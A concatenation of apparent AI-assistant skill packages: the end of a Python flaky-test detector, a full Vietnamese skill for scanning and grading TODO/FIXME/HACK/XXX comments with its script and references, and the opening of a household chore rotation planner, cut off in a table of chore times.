mixed_commits = sorted(c for c, ss in by_commit.items() if ss == {"pass", "fail"})
n = len(seq)
if passes and fails:
cls = "flaky_confirmed" if mixed_commits else "flaky"
elif n < min_runs:
cls = "insufficient_data"
elif fails == n:
cls = "always_failing"
else:
cls = "stable"
durs = t["durations"]
out[test_id] = {
"runs": n,
"passes": passes,
"fails": fails,
"skips": skips,
"fail_rate": round(fails / n, 3) if n else 0.0,
"flips": flips,
"flip_rate": round(flips / (n - 1), 3) if n > 1 else 0.0,
"mixed_commits": mixed_commits,
"max_duration_s": round(max(durs), 3) if durs else None,
"duration_spread": round(max(durs) / min(durs), 2) if durs and min(durs) > 0 else None,
"classification": cls,
}
return out
def priority(stats):
"""Higher = fix first. Confirmed flakiness and high flip rates rank highest."""
base = {"flaky_confirmed": 3.0, "flaky": 2.0, "always_failing": 1.0}.get(stats["classification"], 0.0)
return round(base + stats["flip_rate"] + stats["fail_rate"], 3)
def render_table(results):
lines = ["| Test | Class | Runs | Fails | Fail rate | Flip rate | Same-commit mix | Priority |",
"|---|---|---|---|---|---|---|---|"]
ranked = sorted(results.items(), key=lambda kv: (-priority(kv[1]), kv[0]))
for tid, s in ranked:
lines.append(f"| {tid} | {s['classification']} | {s['runs']} | {s['fails']} | "
f"{s['fail_rate']:.0%} | {s['flip_rate']:.0%} | {', '.join(s['mixed_commits']) or '-'} | {priority(s)} |")
return "\n".join(lines)
def summary(results):
counts = {}
for s in results.values():
counts[s["classification"]] = counts.get(s["classification"], 0) + 1
return counts
JUNIT_RUN = """<testsuites><testsuite name="api">
<testcase classname="api.test_orders" name="test_create" time="0.12"/>
<testcase classname="api.test_orders" name="test_refund" time="{refund_time}">{refund}</testcase>
<testcase classname="api.test_auth" name="test_expired_token" time="0.05">{auth}</testcase>
<testcase classname="api.test_search" name="test_reindex" time="1.0"><skipped/></testcase>
</testsuite></testsuites>"""
def _run(refund_fail, auth_fail, refund_time="0.30"):
return JUNIT_RUN.format(
refund='<failure message="timeout"/>' if refund_fail else "",
auth='<error message="boom"/>' if auth_fail else "",
refund_time=refund_time)
def self_test():
rows = []
pattern = [(False, True), (True, True), (False, True), (True, True), (False, True)]
for i, (rf, af) in enumerate(pattern, 1):
rows += parse_junit_text(_run(rf, af, "0.30" if not rf else "3.10"), f"run{i}")
res = analyze(rows, min_runs=3)
csv_text = ("run_id,test,status,commit,duration_s\n"
"1,ui::login,pass,abc,1.0\n2,ui::login,failed,abc,1.2\n3,ui::login,pass,def,0.9\n"
"1,ui::cart,pass,abc,\n2,ui::cart,pass,abc,\n"
"1,ui::banner,skipped,abc,\n2,ui::banner,ok,abc,\n3,ui::banner,ok,def,\n4,ui::banner,ok,def,\n")
res_csv = analyze(parse_csv_text(csv_text), min_runs=3)
bad_status = False
try:
norm_status("weird")
except ValueError:
bad_status = True
bad_csv = False
try:
parse_csv_text("a,b\n1,2\n")
except ValueError:
bad_csv = True
cases = [
("junit_case_count", len(res), 4),
("create_stable", res["api.test_orders::test_create"]["classification"], "stable"),
("refund_flaky", res["api.test_orders::test_refund"]["classification"], "flaky"),
("refund_flips", res["api.test_orders::test_refund"]["flips"], 4),
("refund_flip_rate", res["api.test_orders::test_refund"]["flip_rate"], 1.0),
("refund_fail_rate", res["api.test_orders::test_refund"]["fail_rate"], 0.4),
("refund_duration_spread", res["api.test_orders::test_refund"]["duration_spread"], 10.33),
("error_counts_as_fail", res["api.test_auth::test_expired_token"]["classification"], "always_failing"),
("skip_only_insufficient", res["api.test_search::test_reindex"]["classification"], "insufficient_data"),
("skip_counted", res["api.test_search::test_reindex"]["skips"], 5),
("csv_same_commit_confirmed", res_csv["ui::login"]["classification"], "flaky_confirmed"),
("csv_mixed_commit_listed", res_csv["ui::login"]["mixed_commits"], ["abc"]),
("csv_two_runs_insufficient", res_csv["ui::cart"]["classification"], "insufficient_data"),
("csv_skip_ignored_stable", res_csv["ui::banner"]["classification"], "stable"),
("priority_order", priority(res_csv["ui::login"]) > priority(res["api.test_orders::test_refund"]), True),
("unknown_status_rejected", bad_status, True),
("bad_csv_rejected", bad_csv, True),
("summary_counts", summary(res), {"stable": 1, "flaky": 1, "always_failing": 1, "insufficient_data": 1}),
]
failed = 0
for name, got, expected in cases:
ok = abs(got - expected) < 0.01 if isinstance(expected, float) else got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Detect flaky tests from repeated JUnit XML runs or a CSV history.")
p.add_argument("junit", nargs="*", help="JUnit XML files in run order")
p.add_argument("--csv", help="CSV history: run_id,test,status[,commit][,duration_s]")
p.add_argument("--min-runs", type=int, default=3)
p.add_argument("--json", action="store_true", help="print JSON instead of a markdown table")
p.add_argument("--only-flaky", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
rows = []
try:
for i, path in enumerate(a.junit, 1):
with open(path, encoding="utf-8") as fh:
rows += parse_junit_text(fh.read(), f"run{i}:{path}")
if a.csv:
with open(a.csv, encoding="utf-8") as fh:
rows += parse_csv_text(fh.read())
except (OSError, ValueError, ET.ParseError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
if not rows:
p.error("give JUnit XML files, --csv, or --self-test")
res = analyze(rows, a.min_runs)
if a.only_flaky:
res = OrderedDict((k, v) for k, v in res.items() if v["classification"].startswith("flaky"))
if a.json:
print(json.dumps({"summary": summary(res), "tests": res}, indent=2))
else:
print(render_table(res))
print("\nSummary:", ", ".join(f"{k}={v}" for k, v in sorted(summary(res).items())))
return 1 if any(v["classification"].startswith("flaky") for v in res.values()) else 0
if __name__ == "__main__":
sys.exit(main())Quét codebase để tìm các bình luận TODO, FIXME, HACK và XXX, trích xuất người phụ trách, mã ticket và ngày đến hạn, đồng thời gắn cờ các mục không có người phụ trách, chưa được theo dõi, quá hạn hoặc mơ hồ kèm điểm ưu tiên. Sử dụng khi dọn dẹp nợ kỹ thuật, trước khi phát hành bản mới, hoặc khi cần trả lời câu hỏi "những TODO nào thực sự quan trọng?". Bao gồm công cụ quét bằng thư viện chuẩn Python với cờ --self-test và mã thoát thân thiện với CI.
---
name: todo-comment-debt-tracker
description: Quét codebase để tìm các bình luận TODO, FIXME, HACK và XXX, trích xuất người phụ trách, mã ticket và ngày đến hạn, đồng thời gắn cờ các mục không có người phụ trách, chưa được theo dõi, quá hạn hoặc mơ hồ kèm điểm ưu tiên. Sử dụng khi dọn dẹp nợ kỹ thuật, trước khi phát hành bản mới, hoặc khi cần trả lời câu hỏi "những TODO nào thực sự quan trọng?". Bao gồm công cụ quét bằng thư viện chuẩn Python với cờ --self-test và mã thoát thân thiện với CI.
---
# Trình Theo Dõi Nợ Kỹ Thuật Từ Bình Luận TODO
Bạn giúp các nhóm biến những bình luận TODO, FIXME, HACK và XXX nằm rải rác thành một danh sách nợ kỹ thuật ngắn gọn, có người phụ trách và được sắp xếp theo mức độ ưu tiên. Bạn quét mã nguồn, phân tích xem ai phụ trách từng mục, ticket nào đang theo dõi mục đó và thời hạn hoàn thành là khi nào, sau đó làm nổi bật những mục tiềm ẩn rủi ro hoặc bị lãng quên. Bạn không bao giờ tự ý xóa hoặc viết lại các bình luận; bạn chỉ đề xuất thay đổi và để nhóm tự quyết định.
## Các tệp trong kỹ năng này
- `scripts/todo_debt.py` - quét các tệp hoặc thư mục, phân tích người phụ trách/ticket/ngày đến hạn, chấm điểm từng mục và in ra bảng markdown hoặc JSON (chỉ dùng thư viện chuẩn Python 3)
- `references/comment-conventions.md` - định dạng TODO được khuyến nghị và cách áp dụng mà không gây xáo trộn
- `references/triage-rules.md` - cách quyết định nên sửa ngay, tạo ticket hay xóa bỏ
- `templates/debt-report.md` - mẫu báo cáo cho buổi đánh giá sprint, danh sách kiểm tra trước phát hành hoặc bình luận trên PR
- `examples/sample_service.py` - một tệp nhỏ chứa các TODO tốt và xấu điển hình để chạy thử nghiệm
## Quy trình làm việc
### 1. Xác định phạm vi quét
Hỏi xem những thư mục nào cần quan tâm và những gì cần bỏ qua (mã được sinh tự động, thư viện bên thứ ba, dữ liệu mẫu). Kịch bản đã mặc định bỏ qua `.git`, `node_modules`, `vendor`, `dist`, `build`, các môi trường ảo virtualenv và `target`.
### 2. Chạy công cụ quét
```
python3 scripts/todo_debt.py src/ --today 2026-10-18
python3 scripts/todo_debt.py src/ tests/ --ext .py,.ts --json > todo-debt.json
python3 scripts/todo_debt.py examples/sample_service.py --strict
python3 scripts/todo_debt.py --self-test
```
Trả về mã thoát 1 khi có một mục bị quá hạn hoặc một FIXME/HACK/XXX không có mã ticket (`--strict`: bất kỳ vấn đề nào). Hãy sử dụng công cụ này như một cổng kiểm tra CI mềm hoặc một tác vụ báo cáo hàng tuần.
### 3. Đọc các vấn đề được phát hiện
- **overdue**: đã qua ngày đến hạn. Ưu tiên cao nhất.
- **no_ticket**: không có gì theo dõi công việc này; nó sẽ bị lãng quên.
- **stale_hack**: một bình luận HACK hoặc XXX không có ticket, thường là một giải pháp tạm thời đã tồn tại vượt quá lý do ban đầu của nó.
- **no_owner**: không có ai chịu trách nhiệm.
- **vague**: ít hơn ba từ, chẳng hạn như "TODO: fix".
Điểm số: FIXME/HACK/XXX bắt đầu ở mức 3 điểm, TODO ở mức 1 điểm; +2 nếu quá hạn, +1 nếu không có ticket.
### 4. Phân loại cùng với nhóm
Áp dụng `references/triage-rules.md`: sửa ngay nếu mất dưới 30 phút, tạo ticket và thêm mã id của ticket vào nếu đó là công việc thực sự cần làm, xóa đi nếu nó đã lỗi thời. Sử dụng `git blame` trên dòng mã đó để tìm người có khả năng phụ trách nhất khi chưa ghi tên ai.
### 5. Báo cáo
Điền vào `templates/debt-report.md` các mục có điểm cao nhất, tổng số lượng theo nhãn đánh dấu và người phụ trách, cùng các hành động đã thống nhất. Đề xuất quy ước trong `references/comment-conventions.md` cho các bình luận mới.
## Quy tắc
- Không đếm các nhãn đánh dấu nằm bên trong chuỗi ký tự (string literals) hoặc văn bản thuần túy; chỉ đếm trong các bình luận mã nguồn.
- Không bao giờ tự bịa ra mã số ticket hoặc tên người phụ trách; hãy đánh dấu chúng là chưa xác định (unknown) và gợi ý cách tìm ra chúng.
- Không xóa hàng loạt bình luận mà không qua kiểm duyệt; thay vào đó hãy đề xuất một bản vá (patch).
- Tôn trọng mã được sinh tự động và mã thư viện bên thứ ba (vendored code): báo cáo riêng hoặc bỏ qua chúng.
FILE:references/comment-conventions.md
# Quy ước TODO được khuyến nghị
```
# TODO(owner, TICKET-123, 2026-12-01): việc cần làm và lý do
```
- **owner**: tên người dùng hoặc tên nhóm (`alice`, `@payments-team`). Một cái tên duy nhất, là người sẽ đưa ra quyết định xử lý.
- **ticket**: `#123`, `PROJ-123`, hoặc một URL issue đầy đủ. Bắt buộc đối với FIXME, HACK và XXX.
- **due date**: định dạng ISO `YYYY-MM-DD`, tùy chọn đối với TODO, được khuyến nghị cho các giải pháp tạm thời HACK.
- **text**: một hành động kèm theo lý do, ít nhất là một câu ngắn. "TODO: fix" là không hữu ích.
## Nên sử dụng nhãn đánh dấu nào
| Nhãn đánh dấu | Ý nghĩa | Bắt buộc có ticket? |
|---|---|---|
| TODO | Cải tiến đã lên kế hoạch, hiện tại chưa gây lỗi | Khuyến nghị |
| FIXME | Lỗi đã biết hoặc hành vi không chính xác | Có |
| HACK | Giải pháp tạm thời có chủ đích cần được gỡ bỏ sau này | Có, kèm theo ngày đến hạn |
| XXX | Nguy hiểm, đoạn mã gây bất ngờ, cần được xem xét kỹ | Có |
## Áp dụng mà không gây xáo trộn
1. Chạy công cụ quét và công bố báo cáo; không chỉnh sửa hàng loạt.
2. Áp dụng quy ước cho các bình luận mới thông qua quy trình duyệt mã (code review) hoặc quy tắc kiểm tra mã (lint rule).
3. Sửa các bình luận cũ khi bạn đằng nào cũng phải chạm vào đoạn mã đó.
4. Xem lại tổng số liệu hàng tháng; hướng tới mục tiêu "không có mục quá hạn, không có FIXME chưa được theo dõi".
FILE:references/triage-rules.md
# Quy tắc phân loại
Đối với từng mục, hãy đặt câu hỏi theo thứ tự sau:
1. **Nó có còn đúng không?** Đọc đoạn mã xung quanh và chạy `git log -L` cho các dòng đó. Nếu vấn đề không còn tồn tại, hãy xóa bình luận.
2. **Nó có mất dưới 30 phút không?** Sửa ngay trong một PR nhỏ đồng thời xóa luôn bình luận đó.
3. **Nó có phải là lỗi hay rủi ro không?** (FIXME/XXX, bảo mật, mất dữ liệu, tiền bạc) Tạo một ticket có gắn mức độ ưu tiên, thêm mã id của ticket vào bình luận và chỉ định người phụ trách.
4. **Nó có phải là một giải pháp tạm thời không?** (HACK) Ghi rõ điều kiện cho phép gỡ bỏ ("gỡ bỏ sau khi lên SDK nhà cung cấp bản 5.x") và ngày đến hạn.
5. **Nó có phải là một mong muốn viển vông không?** Nếu không ai định lên lịch làm nó trong hai quý tới, hãy xóa nó đi hoặc chuyển nó thành một ticket trong backlog.
## Gợi ý xếp hạng ưu tiên
- Ưu tiên các mục quá hạn trước, sau đó đến FIXME/HACK/XXX không có ticket, rồi đến các mục không có người phụ trách nằm trong các tệp nóng (thay đổi thường xuyên).
- Các mục nằm trong mã xác thực (auth), thanh toán (payments), di chuyển dữ liệu (data migrations) hoặc xử lý đồng thời (concurrency) xứng đáng được xem xét kỹ hơn bất kể điểm số.
## Tìm người phụ trách
- `git blame -L <line>,<line> <file>` cho biết ai đã thêm bình luận đó; người đó hoặc nhóm của họ mặc định là người phụ trách.
- Các tệp CODEOWNERS ánh xạ đường dẫn thư mục với các nhóm phụ trách.
- Nếu tác giả đã nghỉ việc, hãy giao cho người bảo trì hiện tại của mô-đun đó.
FILE:templates/debt-report.md
# Báo Cáo Nợ Kỹ Thuật TODO
** Kho lưu trữ (Repository):** <name> **Phạm vi quét:** <paths> **Ngày:** <YYYY-MM-DD>
## Tổng số lượng
| Nhãn đánh dấu | Số lượng | Quá hạn | Không có ticket | Không có người phụ trách |
|---|---|---|---|---|
| TODO | | | | |
| FIXME | | | | |
| HACK | | | | |
| XXX | | | | |
## 10 mục hàng đầu theo điểm số
| Điểm | Vị trí | Nhãn đánh dấu | Người phụ trách | Ticket | Hạn chót | Vấn đề | Hành động đề xuất |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## Theo người phụ trách
| Người phụ trách | Số mục | Quá hạn |
|---|---|---|
## Các hành động đã thống nhất
- [ ] Sửa ngay:
- [ ] Đã tạo ticket:
- [ ] Xóa bỏ (đã lỗi thời):
## Nhắc nhở quy ước
`# TODO(owner, TICKET-123, YYYY-MM-DD): hành động và lý do`
FILE:examples/sample_service.py
"""Sample order service with typical TODO comments for demos of todo_debt.py."""
import json
TAX_RATE = 0.2 # XXX(PAY-311): confirm tax rate per region with finance
def load_orders(path):
# TODO(maria, 2026-03-01): switch to streaming parser once files exceed 50 MB (#88)
with open(path, encoding="utf-8") as fh:
return json.load(fh)
def total(order):
# FIXME: returns wrong total when a discount exceeds the subtotal
subtotal = sum(item["price"] * item["qty"] for item in order["items"])
discount = order.get("discount", 0)
return round((subtotal - discount) * (1 + TAX_RATE), 2)
def notify(order):
# HACK [2026-11-30] skip emails for test accounts until the staging mail stub is fixed
if order.get("email", "").endswith("@test.local"):
return False
# TODO: retry
return True
def label(order):
note = "TODO: this string is not a comment and should be ignored"
# TODO(@ken, OPS-19): move label printing to the warehouse service
return f"{order['id']} {note[:0]}"
FILE:scripts/todo_debt.py
#!/usr/bin/env python3
"""Scan source files for TODO/FIXME/HACK/XXX comments and grade them (Python 3 standard library only).
Recognized forms (marker must follow a comment token: # // /* * -- ; <!--):
# TODO: plain note
// TODO(alice): owner
# FIXME(#123): issue number # TODO(PROJ-42) ticket key # TODO(https://...) link
# TODO(bob, 2026-12-01): owner + due date # HACK [2026-11-15] due date in brackets
Problems flagged per item:
no_owner, no_ticket, overdue (due date before --today), stale_hack (HACK/XXX without ticket),
vague (fewer than 3 words of text)
Exit code: 1 if any item is overdue or a FIXME/HACK/XXX has no ticket (with --strict: any problem).
"""
import argparse
import datetime as dt
import json
import os
import re
import sys
MARKERS = ("TODO", "FIXME", "HACK", "XXX")
SEVERITY = {"FIXME": 3, "HACK": 3, "XXX": 3, "TODO": 1}
COMMENT_RE = re.compile(
r"(?:#|//|/\*|(?:^|\s)\*|--|;|<!--)\s*(?P<marker>TODO|FIXME|HACK|XXX)\b"
r"(?:\s*\((?P<paren>[^)]*)\))?(?:\s*\[(?P<bracket>[^\]]*)\])?\s*:?\s*(?P<text>.*)$")
DATE_RE = re.compile(r"\b(\d{4}-\d{2}-\d{2})\b")
TICKET_RE = re.compile(r"(#\d+\b|\b[A-Z][A-Z0-9]+-\d+\b|https?://\S+)")
OWNER_RE = re.compile(r"^@?([A-Za-z][\w.-]*)$")
DEFAULT_EXT = {".py", ".js", ".ts", ".tsx", ".jsx", ".go", ".rs", ".java", ".kt", ".c", ".h", ".cpp",
".cs", ".rb", ".php", ".swift", ".sh", ".sql", ".yaml", ".yml", ".toml", ".css", ".scss",
".html", ".vue", ".lua"}
SKIP_DIRS = {".git", "node_modules", "vendor", "dist", "build", ".venv", "venv", "__pycache__", "target"}
def parse_line(line, path="<text>", lineno=0, today=None):
m = COMMENT_RE.search(line)
if not m:
return None
marker = m.group("marker")
meta = ",".join(x for x in (m.group("paren"), m.group("bracket")) if x)
text = (m.group("text") or "").strip().rstrip("*/").rstrip("-->").strip()
owner = None
ticket = None
due = None
for part in [p.strip() for p in meta.split(",") if p.strip()]:
if DATE_RE.fullmatch(part.replace("by ", "").replace("until ", "").strip()):
due = DATE_RE.search(part).group(1)
elif TICKET_RE.fullmatch(part):
ticket = part
elif OWNER_RE.fullmatch(part) and owner is None:
owner = OWNER_RE.fullmatch(part).group(1)
if ticket is None:
t = TICKET_RE.search(text)
if t:
ticket = t.group(1)
if due is None:
d = re.search(r"\b(?:by|until|before|due)\s+(\d{4}-\d{2}-\d{2})\b", text)
if d:
due = d.group(1)
problems = []
if not owner:
problems.append("no_owner")
if not ticket:
problems.append("no_ticket")
if marker in ("HACK", "XXX"):
problems.append("stale_hack")
if due and today:
try:
if dt.date.fromisoformat(due) < today:
problems.append("overdue")
except ValueError:
problems.append("bad_date")
if len(re.findall(r"[A-Za-z]{2,}", text)) < 3:
problems.append("vague")
return {"file": path, "line": lineno, "marker": marker, "owner": owner, "ticket": ticket,
"due": due, "text": text, "problems": problems,
"score": SEVERITY[marker] + 2 * ("overdue" in problems) + ("no_ticket" in problems)}
def scan_text(text, path="<text>", today=None):
items = []
for i, line in enumerate(text.splitlines(), 1):
it = parse_line(line, path, i, today)
if it:
items.append(it)
return items
def iter_files(root, exts):
if os.path.isfile(root):
yield root
return
for dirpath, dirnames, filenames in os.walk(root):
dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIRS)
for fn in sorted(filenames):
if os.path.splitext(fn)[1].lower() in exts:
yield os.path.join(dirpath, fn)
def is_blocking(item, strict=False):
if strict:
return bool(item["problems"])
return "overdue" in item["problems"] or (item["marker"] != "TODO" and "no_ticket" in item["problems"])
def summarize(items):
s = {"total": len(items), "by_marker": {}, "by_owner": {}, "problems": {}}
for it in items:
s["by_marker"][it["marker"]] = s["by_marker"].get(it["marker"], 0) + 1
o = it["owner"] or "(unowned)"
s["by_owner"][o] = s["by_owner"].get(o, 0) + 1
for p in it["problems"]:
s["problems"][p] = s["problems"].get(p, 0) + 1
return s
def render(items):
out = ["| Score | Marker | Location | Owner | Ticket | Due | Problems | Text |", "|---|---|---|---|---|---|---|---|"]
for it in sorted(items, key=lambda x: (-x["score"], x["file"], x["line"])):
out.append(f"| {it['score']} | {it['marker']} | {it['file']}:{it['line']} | {it['owner'] or '-'} | "
f"{it['ticket'] or '-'} | {it['due'] or '-'} | {', '.join(it['problems']) or 'ok'} | {it['text'][:60]} |")
return "\n".join(out)
SAMPLE = '''import os
# TODO(alice, 2026-01-15): remove legacy CSV export after #412 ships
def f():
pass # FIXME: crashes when list is empty
// HACK [2026-12-31] skip auth in local dev
/* XXX(PROJ-77): double-check rounding with finance */
-- TODO(@bob): add index
x = "TODO: this is a string, not a comment"
<!-- TODO(carol): https://example.com/issues/9 replace hero image -->
* TODO update docs by 2025-05-01
# todo lowercase is ignored
'''
def self_test():
today = dt.date(2026, 10, 18)
items = scan_text(SAMPLE, "sample", today)
by_line = {it["line"]: it for it in items}
cases = [
("count", len(items), 7),
("owner_parsed", by_line[2]["owner"], "alice"),
("due_parsed", by_line[2]["due"], "2026-01-15"),
("overdue_flag", "overdue" in by_line[2]["problems"], True),
("ticket_from_text", by_line[2]["ticket"], "#412"),
("fixme_no_ticket", by_line[4]["problems"][:2], ["no_owner", "no_ticket"]),
("fixme_blocking", is_blocking(by_line[4]), True),
("hack_bracket_due_future", "overdue" in by_line[5]["problems"], False),
("hack_stale", "stale_hack" in by_line[5]["problems"], True),
("xxx_ticket_key", by_line[6]["ticket"], "PROJ-77"),
("at_owner", by_line[7]["owner"], "bob"),
("vague_short", "vague" in by_line[7]["problems"], True),
("string_not_comment", 8 in by_line, False),
("html_comment_link", by_line[9]["ticket"], "https://example.com/issues/9"),
("star_comment_due_text", by_line[10]["due"], "2025-05-01"),
("lowercase_ignored", 11 in by_line, False),
("todo_not_blocking_default", is_blocking(by_line[7]), False),
("todo_blocking_strict", is_blocking(by_line[7], strict=True), True),
("summary_markers", summarize(items)["by_marker"], {"TODO": 4, "FIXME": 1, "HACK": 1, "XXX": 1}),
("score_overdue_todo", by_line[2]["score"], 3),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Find and grade TODO/FIXME/HACK/XXX comments.")
p.add_argument("paths", nargs="*", default=[], help="files or directories to scan")
p.add_argument("--today", help="YYYY-MM-DD for overdue checks (default: today)")
p.add_argument("--ext", help="comma-separated extensions to include, e.g. .py,.ts")
p.add_argument("--json", action="store_true")
p.add_argument("--strict", action="store_true", help="exit 1 on any problem")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.paths:
p.error("give files/directories to scan, or --self-test")
today = dt.date.fromisoformat(a.today) if a.today else dt.date.today()
exts = {e if e.startswith(".") else "." + e for e in a.ext.split(",")} if a.ext else DEFAULT_EXT
items = []
for root in a.paths:
for path in iter_files(root, exts):
try:
with open(path, encoding="utf-8", errors="replace") as fh:
items += scan_text(fh.read(), path, today)
except OSError as e:
print(f"warn: {path}: {e}", file=sys.stderr)
if a.json:
print(json.dumps({"summary": summarize(items), "items": items}, indent=2))
else:
print(render(items))
s = summarize(items)
print(f"\nTotal {s['total']}; markers {s['by_marker']}; problems {s['problems']}")
return 1 if any(is_blocking(it, a.strict) for it in items) else 0
if __name__ == "__main__":
sys.exit(main())Lập lịch phân công việc nhà hằng tuần công bằng, có luân phiên cho hộ gia đình: tính trọng số từng công việc theo số phút và tần suất, tôn trọng tỷ lệ gánh vác theo khả năng và các giới hạn "không thể làm", luân phiên công việc qua từng tuần và báo cáo khối lượng công việc của mỗi người so với mức mục tiêu công bằng. Sử dụng khi bạn cùng phòng hoặc các thành viên trong gia đình tranh cãi về việc nhà hoặc hỏi "tháng này ai làm việc gì?". Bao gồm công cụ lập lịch viết bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
name: household-chore-rotation-planner
description: Lập lịch phân công việc nhà hằng tuần công bằng, có luân phiên cho hộ gia đình: tính trọng số từng công việc theo số phút và tần suất, tôn trọng tỷ lệ gánh vác theo khả năng và các giới hạn "không thể làm", luân phiên công việc qua từng tuần và báo cáo khối lượng công việc của mỗi người so với mức mục tiêu công bằng. Sử dụng khi bạn cùng phòng hoặc các thành viên trong gia đình tranh cãi về việc nhà hoặc hỏi "tháng này ai làm việc gì?". Bao gồm công cụ lập lịch viết bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
# Trình lập Kế hoạch Luân phiên Việc nhà cho Hộ gia đình
Bạn giúp các hộ gia đình (bạn cùng phòng, các cặp đôi, gia đình có con nhỏ) phân chia việc nhà một cách công bằng và luân phiên để không ai phải ôm mãi những công việc nặng nhọc nhất. Bạn đo lường sự công bằng bằng số phút chứ không phải bằng số lượng đầu việc, điều chỉnh theo khả năng của từng người, tôn trọng các giới hạn thực tế (độ tuổi, dị ứng, sức khỏe, kỹ năng) và tạo ra một bảng lịch trình mà mọi người có thể dán lên tủ lạnh. Bạn luôn giữ thái độ trung lập và tử tế; không bao giờ đứng về một phe nào trong cuộc tranh cãi gia đình.
## Các tệp trong kỹ năng này
- `scripts/chore_rotation.py` - xây dựng lịch luân phiên nhiều tuần từ danh sách JSON gồm các thành viên và công việc nhà, đồng thời báo cáo số phút thực tế so với mức mục tiêu công bằng của từng người (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/chore-time-estimates.md` - số phút điển hình cho các công việc nhà phổ biến để dùng làm giá trị mặc định
- `references/fairness-and-agreements.md` - cách thiết lập tỷ lệ gánh vác, xử lý việc đổi lịch và tổ chức một buổi họp gia đình ngắn gọn
- `templates/rotation-chart.md` - bảng phân công hằng tuần có thể in ra kèm phần thỏa thuận chung trong nhà
- `examples/household.json` - mẫu hộ gia đình bốn người có các ràng buộc cụ thể
## Quy trình thực hiện
### 1. Thu thập thông tin hộ gia đình
Hỏi các thông tin sau:
- Các thành viên và khả năng gánh vác của họ: phần đầy đủ (1.0), phần giảm nhẹ (ví dụ: 0.5 đối với trẻ nhỏ hoặc người làm ca đêm), hoặc phần nhiều hơn theo thỏa thuận
- Các giới hạn cứng: những công việc mà ai đó không thể làm (`cannot`), hoặc những công việc chỉ một số người nhất định mới làm được (`only`, ví dụ: nấu ăn hoặc lái xe)
- Các công việc nhà kèm số phút thực tế cho mỗi lần làm và số lần thực hiện mỗi tuần; sử dụng `references/chore-time-estimates.md` khi chưa chắc chắn
- Số tuần cần lập kế hoạch (mặc định hợp lý là 4 tuần) và bất kỳ sở thích cá nhân nào ("Tôi thà nấu ăn còn hơn dọn nhà vệ sinh")
### 2. Xây dựng dữ liệu đầu vào và chạy công cụ lập lịch
```
python3 scripts/chore_rotation.py examples/household.json
python3 scripts/chore_rotation.py my-house.json --weeks 6 --json
python3 scripts/chore_rotation.py --self-test
```
Mã thoát (exit code) bằng 1 có nghĩa là có một công việc không có ai đủ điều kiện đảm nhận (hãy sửa lại danh sách `cannot`/`only`); bằng 2 có nghĩa là dữ liệu đầu vào không hợp lệ.
### 3. Kiểm tra mức độ công bằng
Đọc bảng "Overall fairness" (Mức độ công bằng tổng thể). Sai lệch trong khoảng 10% so với mục tiêu là tốt. Nếu ai đó bị lệch quá xa, hãy điều chỉnh số phút, tách một việc lớn thành các việc nhỏ hơn (ví dụ: "Giặt đồ - giặt máy" và "Giặt đồ - gấp quần áo"), hoặc thay đổi tỷ lệ gánh vác theo thỏa thuận, sau đó chạy lại.
### 4. Áp dụng sở thích cá nhân
Công cụ lập lịch chỉ cân bằng số phút chứ không biết ai ghét việc gì. Hãy đề xuất các cặp hoán đổi công việc có số phút tương đương giữa các thành viên và giữ cho tổng thời gian xấp xỉ nhau. Nếu một công việc nặng nhọc luôn rơi vào cùng một người mỗi tuần do các ràng buộc, hãy nói rõ điều đó và gợi ý chia nhỏ công việc ấy ra.
### 5. Bàn giao kết quả
Điền vào mẫu `templates/rotation-chart.md` các bảng phân công hằng tuần, một thỏa thuận chung ngắn gọn trong nhà (quy tắc đổi việc, định nghĩa thế nào là "đã hoàn thành", lịch họp rà soát hằng tháng) và một tin nhắn nhóm thân thiện dưới 80 từ để thông báo về kế hoạch.
## Quy tắc
- Sự công bằng được đo bằng số phút có tính trọng số theo tỷ lệ gánh vác đã thống nhất, không phải theo số lượng đầu việc.
- Không bao giờ giao các công việc nguy hiểm cho trẻ em (dụng cụ sắc nhọn, hóa chất mạnh, leo thang, lò nướng nóng mà không có người lớn giám sát).
- Giữ giọng điệu trung lập; mô tả khối lượng công việc bằng các con số, không đổ lỗi.
- Công việc không tên (invisible work) cũng được tính: lên thực đơn bữa ăn, đặt lịch sửa chữa và mua sắm đồ dùng đều có thể được đưa vào danh sách việc nhà kèm số phút.
FILE:references/chore-time-estimates.md
# Thời gian làm việc nhà điển hình (giá trị mặc định, hãy điều chỉnh theo gia đình bạn)
| Công việc | Số phút mỗi lần | Tần suất phổ biến |
|---|---|---|
| Rửa bát / xếp bát vào và lấy bát ra khỏi máy rửa bát | 15-25 | hằng ngày |
| Nấu bữa tối | 30-60 | 3-7 lần mỗi tuần |
| Lên thực đơn và danh sách đi chợ | 20-30 | hằng tuần |
| Đi chợ mua thực phẩm | 45-75 | hằng tuần |
| Giặt giũ (giặt, sấy/phơi, gấp, cất vào tủ) | 40-60 mỗi mẻ | 2-4 mẻ mỗi tuần |
| Dọn nhà vệ sinh (bồn rửa, bồn cầu, vòi sen, sàn) | 30-45 | hằng tuần |
| Tổng vệ sinh bếp (mặt bàn bếp, bếp nấu, lau tủ lạnh) | 30-40 | hằng tuần |
| Hút bụi và lau nhà | 30-45 | 1-2 lần mỗi tuần |
| Lau bụi đồ đạc | 15-20 | hằng tuần |
| Đổ rác và phân loại rác tái chế | 5-10 | 2-3 lần mỗi tuần |
| Thay ga trải giường | 15 mỗi giường | mỗi 1-2 tuần |
| Tưới cây | 5-15 | 2 lần mỗi tuần |
| Cho thú cưng ăn | 5 | hằng ngày, thường là hai lần |
| Dọn khay vệ sinh / dọn chất thải thú cưng | 5 | hằng ngày |
